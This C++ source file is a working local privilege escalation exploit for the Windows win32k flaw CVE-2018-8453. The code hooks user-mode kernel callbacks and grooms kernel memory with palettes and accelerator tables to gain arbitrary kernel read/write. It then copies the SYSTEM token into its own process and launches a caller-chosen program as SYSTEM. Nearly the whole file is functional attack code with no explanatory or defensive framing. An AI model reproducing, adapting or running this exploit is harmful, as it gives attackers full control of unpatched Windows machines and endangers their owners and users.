// CVE-2018-8453.cpp : Defines the entry point for the console application.
//

#include "stdio.h"
#include "stdafx.h"
#include "windows.h"
#include "psapi.h"
#include "wchar.h"

BOOL			bMSGSENT = FALSE;
HWND			hMainWND;
HWND			hSBWND;
HWND			hSBWNDnew;
DWORD			SystemCallStub;
CHAR			flag[0x80] = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00ze0r is so cool!";

HPALETTE		hManager;
HPALETTE		hWorker;
HPALETTE		hKeep;
HDC				hKeepDC = NULL;
PDWORD			CallbackTb = 0;
LPACCEL			lpAccel;

typedef VOID(WINAPI * fct_fnDispatch)(PDWORD msg);

fct_fnDispatch	fnDWORD;
fct_fnDispatch  fnClientFreeWindowClassExtraBytes;

typedef struct
{
	DWORD UniqueProcessIdOffset;
	DWORD TokenOffset;
} VersionSpecificConfig;

//VersionSpecificConfig gConfig = { 0xb4, 0xfc }; // Win 10 15063 rs2 x86
VersionSpecificConfig gConfig = { 0x0, 0x0 }; // Win 10 15063 rs2 x86

LRESULT CALLBACK    WndProc(HWND, UINT, WPARAM, LPARAM);
INT_PTR CALLBACK    About(HWND, UINT, WPARAM, LPARAM);

void SetWindowFNID(HWND hWnd, DWORD FNID) {
	__asm {
		mov		esi, esi;
		mov		eax, hWnd;
		push	FNID;
		push	eax;
		push	0;
		mov		eax, 0x1202;
		mov		edx, SystemCallStub;
		call	edx;
		add		esp, 0x0c;
	}
}

int SetLinkedUFIs(HDC hdc, int len) {
	int retvalue;
	__asm {
		push	len;
		lea     eax, flag;
		PUSH	eax;
		push	hdc;
		push	0;
		mov		eax, 0x1023;
		mov		edx, SystemCallStub;
		call	edx;
		add		esp, 0x10;
		mov		retvalue, eax;
	}
	return retvalue;
}

DWORD buf[0x240];

void ReadMem(DWORD Addr, DWORD len) {
	memset(buf, 0, 0x240 * 4);
	GetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);
	buf[19] = Addr;
	SetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);
	GetPaletteEntries(hWorker, 0, len, (LPPALETTEENTRY)buf);
}

ULONG GetNTOsBase()
{
	ULONG Bases[0x1000];
	DWORD needed = 0;
	ULONG krnlbase = 0;
	if (EnumDeviceDrivers((LPVOID *)&Bases, sizeof(Bases), &needed)) {
		krnlbase = Bases[0];
	}
	return krnlbase;
}

DWORD_PTR PsInitialSystemProcess(VOID)
{
	ULONG Module = (ULONG)LoadLibraryA("ntoskrnl.exe");
	ULONG Addr = (ULONG)GetProcAddress((HMODULE)Module, "PsInitialSystemProcess");
	FreeLibrary((HMODULE)Module);
	ULONG res = 0;
	ULONG ntOsBase = GetNTOsBase();
	if (ntOsBase) {
		ReadMem(Addr - Module + ntOsBase, 16);
		res = buf[0];
	}
	return res;
}

ULONG PsGetCurrentProcess(DWORD sysEPS)
{
	ULONG pEPROCESS = sysEPS;
	ReadMem(pEPROCESS + gConfig.UniqueProcessIdOffset + sizeof(ULONG), 16);
	while (TRUE) {
		pEPROCESS = buf[1] - gConfig.UniqueProcessIdOffset - sizeof(ULONG);
		ReadMem(pEPROCESS + gConfig.UniqueProcessIdOffset, 16);
		if (GetCurrentProcessId() == buf[0]) {
			return pEPROCESS;
		}
	}
}

DWORD_PTR GetKernelHandleTable(VOID)
{
	ULONG Module = (ULONG)LoadLibraryA("ntoskrnl.exe");
	ULONG Addr = (ULONG)GetProcAddress((HMODULE)Module, "KeServiceDescriptorTable");
	FreeLibrary((HMODULE)Module);
	ULONG res = 0;
	ULONG DestroyAcceleratorTableAddr = 0;
	ULONG HMValidateHandleAddr = 0;
	ULONG ntOsBase = GetNTOsBase();
	if (ntOsBase) {
		ReadMem(Addr - Module + ntOsBase - 0x40, 16 * 6);
		ReadMem(buf[4] + 0x500, 16);
		ReadMem(buf[0] + 2, 16);
		ReadMem(buf[0], 16);
		DestroyAcceleratorTableAddr = buf[0] + 0x18;
		ReadMem(DestroyAcceleratorTableAddr, 16);
		HMValidateHandleAddr = DestroyAcceleratorTableAddr + buf[0] + 4 + 0x39;
		ReadMem(HMValidateHandleAddr, 16);
		ReadMem(buf[0], 16);
		ReadMem(buf[0], 16);
		res = buf[0];
	}
	return res;
}

HPALETTE CreatePaletteOfSize(int size, DWORD value) {
	int pal_cnt = (size - 0x60) / 4;
	int palsize = sizeof(LOGPALETTE) + (pal_cnt - 1) * sizeof(PALETTEENTRY);
	LOGPALETTE *lPalette = (LOGPALETTE*)malloc(palsize);
	memset(lPalette, value, palsize);
	lPalette->palNumEntries = pal_cnt;
	lPalette->palVersion = 0x300;
	return CreatePalette(lPalette);
}


HACCEL			hAccel_0xC10_top[2000];
HACCEL			hAccel_0x50_middle[3000];
HACCEL			hAccel_0x3B0_bottom[2000];
HACCEL			hAccel_ReusePalette[8000];
HDC				hDC_Writer[3000];
HPALETTE		hPalettes[10000];

void BeforSBTrackAlloc() {

	for (int i = 0; i < 3000; i++) {
		hDC_Writer[i] = CreateCompatibleDC(NULL);
	}

	for (int i = 0; i < 2000; i++) {
		hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1FD);
	}

	for (int i = 0; i < 2000; i++) {
		hAccel_0x3B0_bottom[i] = CreateAcceleratorTableW(lpAccel, 0x95);
	}

	for (int i = 0; i < 3000; i++) {
		hAccel_0x50_middle[i] = CreateAcceleratorTableW(lpAccel, 8);
	}
	for (int i = 1000; i < 3000; i += 2) {
		DestroyAcceleratorTable(hAccel_0x50_middle[i]);
	}
}

void _cdecl AfterSBTrackAlloc() {
	for (int i = 0; i < 3000; i++) {
		DestroyAcceleratorTable(hAccel_0x50_middle[i]);
	}
	SendMessage(hSBWNDnew, WM_CANCELMODE, 0, 0);
	for (int i = 0; i < 2000; i++) {
		DestroyAcceleratorTable(hAccel_0x3B0_bottom[i]);
	}

	for (int i = 0; i < 3000; i++) {
		SetLinkedUFIs(hDC_Writer[i], 0x7D);
	}
}

void FindManagerAndWorker() {

	for (int i = 0; i < 2000; i++) {
		DestroyAcceleratorTable(hAccel_0xC10_top[i]);
	}
	for (int i = 0; i < 3000; i++) {
		hPalettes[i] = CreatePaletteOfSize(0xb30, 0x66);
	}
	for (int i = 0; i < 2000; i++) {
		hAccel_0x50_middle[i] = CreateAcceleratorTableW(lpAccel, 0x26);
	}
	for (int i = 3000; i < 10000; i++) {
		hPalettes[i] = CreatePaletteOfSize(0x100, 0x88);
	}

	*((DWORD *)flag) = 0x501;
	*((DWORD *)flag + 1) = 0xFFFF;
	for (int i = 0; i < 3000; i++) {
		SetLinkedUFIs(hDC_Writer[i], 1);
	}
	memset(buf, 0, 0x240 * 4);
	for (int i = 3000; i < 10000; i++) {
		if (GetPaletteEntries(hPalettes[i], 0x2B, 80, (LPPALETTEENTRY)buf)) {
			hKeep = hPalettes[i];
			hManager = (HPALETTE)*buf;
			hWorker = (HPALETTE)*(buf + 64);
			*(buf + 5) = 0xFFFF;
			*(buf + 69) = 0xFFFF;
			SetPaletteEntries(hPalettes[i], 0x2B, 80, (LPPALETTEENTRY)buf);
		}
	}

	*((DWORD *)flag) = 0x501;
	*((DWORD *)flag + 1) = 0x28;
	for (int i = 0; i < 3000; i++) {
		SetLinkedUFIs(hDC_Writer[i], 1);
		if (!hKeepDC && (!GetPaletteEntries(hKeep, 0x2B, 80, (LPPALETTEENTRY)buf))) {
			hKeepDC = hDC_Writer[i];
		}
	}
}

void GetSystem(wchar_t* cmd) {

	ULONG	SelfToken = 0;
	ULONG	SystemToken = 0;
	DWORD	ACCELHandle = 0;
	DWORD	SystemEPS;
	DWORD	CurrentEPS;
	DWORD	pKernelHandleTable;

	STARTUPINFO stStartUpInfo = { sizeof(stStartUpInfo) };
	PROCESS_INFORMATION pProcessInfo;
	//WCHAR	cmd[] = L"c:\\\\windows\\\\system32\\\\cmd.exe";

	//printf("[*] Find Manager and Worker.\n");
	FindManagerAndWorker();
	SystemEPS = PsInitialSystemProcess();
	CurrentEPS = PsGetCurrentProcess(SystemEPS);
	pKernelHandleTable = GetKernelHandleTable();

	ReadMem(SystemEPS + gConfig.TokenOffset, 16);
	SystemToken = buf[0];
	GetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);
	buf[19] = CurrentEPS + gConfig.TokenOffset;
	SetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);

	GetPaletteEntries(hWorker, 0, 1, (LPPALETTEENTRY)&SelfToken);
	SetPaletteEntries(hWorker, 0, 1, (LPPALETTEENTRY)&SystemToken);

	Sleep(500);
	//printf("[*] Swaping shell.\n\n");
	ZeroMemory(&stStartUpInfo, sizeof(STARTUPINFO));
	stStartUpInfo.cb = sizeof(STARTUPINFO);
	stStartUpInfo.dwFlags = STARTF_USESHOWWINDOW;
	stStartUpInfo.wShowWindow = 1;
	CreateProcess(cmd, NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &stStartUpInfo, &pProcessInfo);
	Sleep(1000);
	SetPaletteEntries(hWorker, 0, 1, (LPPALETTEENTRY)&SelfToken);

	for (int i = 3000; i < 10000; i++) {
		if ((hPalettes[i] != hManager) && (hPalettes[i] != hWorker)) {
			DeleteObject(hPalettes[i]);
		}
	}
	for (int i = 0; i < 8000; i++) {
		hAccel_ReusePalette[i] = CreateAcceleratorTableW(lpAccel, 0x22);
	}

	GetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);
	ReadMem(buf[20] - 0x1f0, 16);
	ACCELHandle = buf[0];
	GetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);
	buf[19] = pKernelHandleTable + (ACCELHandle & 0xffff) * 8;
	SetPaletteEntries(hManager, 0x2B, 50, (LPPALETTEENTRY)buf);

	DeleteDC(hKeepDC);

	buf[0] = 0;
	buf[1] = 0;
	SetPaletteEntries(hWorker, 0, 2, (LPPALETTEENTRY)buf);
}

void fnDWORDCallBack(PDWORD msg) {

	if (bMSGSENT && *msg && (*((DWORD*)(*msg)) == (DWORD)hSBWND)) {
		bMSGSENT = FALSE;
		DestroyWindow(hMainWND);
	}

	if (*msg && *(msg + 1) == WM_TIMER) {
		//printf("[*] Cancel xxxSBTrackLoop.\n");
		SetCapture(hSBWNDnew);
	}

	if (*msg && (*(msg + 1) == 0x70) && (*((DWORD*)(*msg)) == (DWORD)hMainWND)) {
		//printf("[*] ReAlloc Memory.\n");
		_asm pushad;
		AfterSBTrackAlloc();
		_asm popad;
	}
	fnDWORD(msg);
}

void fnClientFreeWindowClassExtraBytesCallBack(PDWORD msg) {

	if ((HWND)*(msg + 3) == hMainWND) {
		hSBWNDnew = CreateWindowEx(0, L"ScrollBar", L"SB", SWP_HIDEWINDOW | SB_HORZ, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
		//printf("[*] Set Window FNID.\n");
		SetWindowFNID(hMainWND, 0x2A1);
		SetCapture(hSBWNDnew);
	}
	fnClientFreeWindowClassExtraBytes(msg);
}

int wmain(int argc, wchar_t** argv)
{
	if (argc != 4) {
		return -1;
	}

	int status = 0;
	status = swscanf_s(argv[2], L"%lu", &gConfig.UniqueProcessIdOffset);
	if (!status || status == -1){
		return -1;
	}

	status = swscanf_s(argv[3], L"%lu", &gConfig.TokenOffset);
	if (!status || status == -1){
		return -1;
	}

	//printf("////////////////////////////////////////////////////////\n");
	//printf("//                                                    //\n");
	//printf("//             CVE-2018-8453 EXPLOIT                  //\n");
	//printf("//                                  Date  : 2019/1/15 //\n");
	//printf("//                                  Author: ze0r      //\n");
	//printf("////////////////////////////////////////////////////////\n\n");

	DWORD  OldProtect = 0;
	_asm {
		push eax;
		mov  eax, fs:[0x30];
		lea  eax, [eax + 0x2c];
		mov  eax, [eax];
		mov  CallbackTb, eax;
		pop  eax;
	}
	VirtualProtect(CallbackTb, 512, PAGE_READWRITE, &OldProtect);

	// Save/Overwrite fnDWORD callback
	CallbackTb += 2;
	fnDWORD = (fct_fnDispatch)*CallbackTb;
	*CallbackTb = (DWORD)fnDWORDCallBack;

	// Save/Overwrite ExtraBytes callback
	CallbackTb += 126;
	fnClientFreeWindowClassExtraBytes = (fct_fnDispatch)*CallbackTb;
	*CallbackTb = (DWORD)fnClientFreeWindowClassExtraBytesCallBack;

	VirtualProtect(CallbackTb, 512, OldProtect, &OldProtect);
	SystemCallStub = (DWORD)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "KiFastSystemCall");

	// Accelerator / Keystroke combinations
	lpAccel = (LPACCEL)malloc(sizeof(ACCEL) * 2);
	SecureZeroMemory(lpAccel, sizeof(ACCEL));

	WNDCLASSEXW wndClass = { 0 };
	wndClass = { 0 };
	wndClass.cbSize = sizeof(WNDCLASSEXW);
	wndClass.lpfnWndProc = DefWindowProc;
	wndClass.cbClsExtra = 0;
	wndClass.cbWndExtra = 1;
	wndClass.hInstance = GetModuleHandleA(NULL);
	wndClass.lpszMenuName = NULL;
	wndClass.lpszClassName = L"WNDCLASSMAIN";

	RegisterClassExW(&wndClass);
	//printf("[*] CreateWindow.\n");
	
	// Creating Main Window (Update Class/Window Names?)
	hMainWND = CreateWindowW(L"WNDCLASSMAIN", L"CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, GetModuleHandleA(NULL), nullptr);
	hSBWND = CreateWindowEx(0, L"ScrollBar", L"SB", WS_CHILD | WS_VISIBLE | SBS_HORZ, 0, 0, 3, 3, hMainWND, NULL, GetModuleHandleA(NULL), NULL);
	SetScrollRange(hSBWND, SB_CTL, 0, 3, TRUE);
	SetScrollPos(hSBWND, SB_CTL, 3, TRUE);

	// Could we avoid showing the window
	ShowWindow(hMainWND, SW_SHOW);
	UpdateWindow(hMainWND);

	///////////////////////////////////////////////////////////////////////////////////
	// More handles are used to avoid the layout of the secondary handle table that is
	// allocated when the layout pool is feng shui
	for (int i = 0; i < 10000; i++) {
		hPalettes[i] = CreatePaletteOfSize(0xa0, 0x22);
	}
	for (int i = 9990; i >= 0; i--) {
		DeleteObject(hPalettes[i]);
	}
	///////////////////////////////////////////////////////////////////////////////////
	//printf("[*] Deploy Memory.\n");
	BeforSBTrackAlloc();
	//printf("[*] SendMessage.\n");
	bMSGSENT = TRUE;
	SendMessage(hSBWND, WM_LBUTTONDOWN, 0, 0x00020002);

	GetSystem(argv[1]);

	free(lpAccel);
	return TRUE;
}
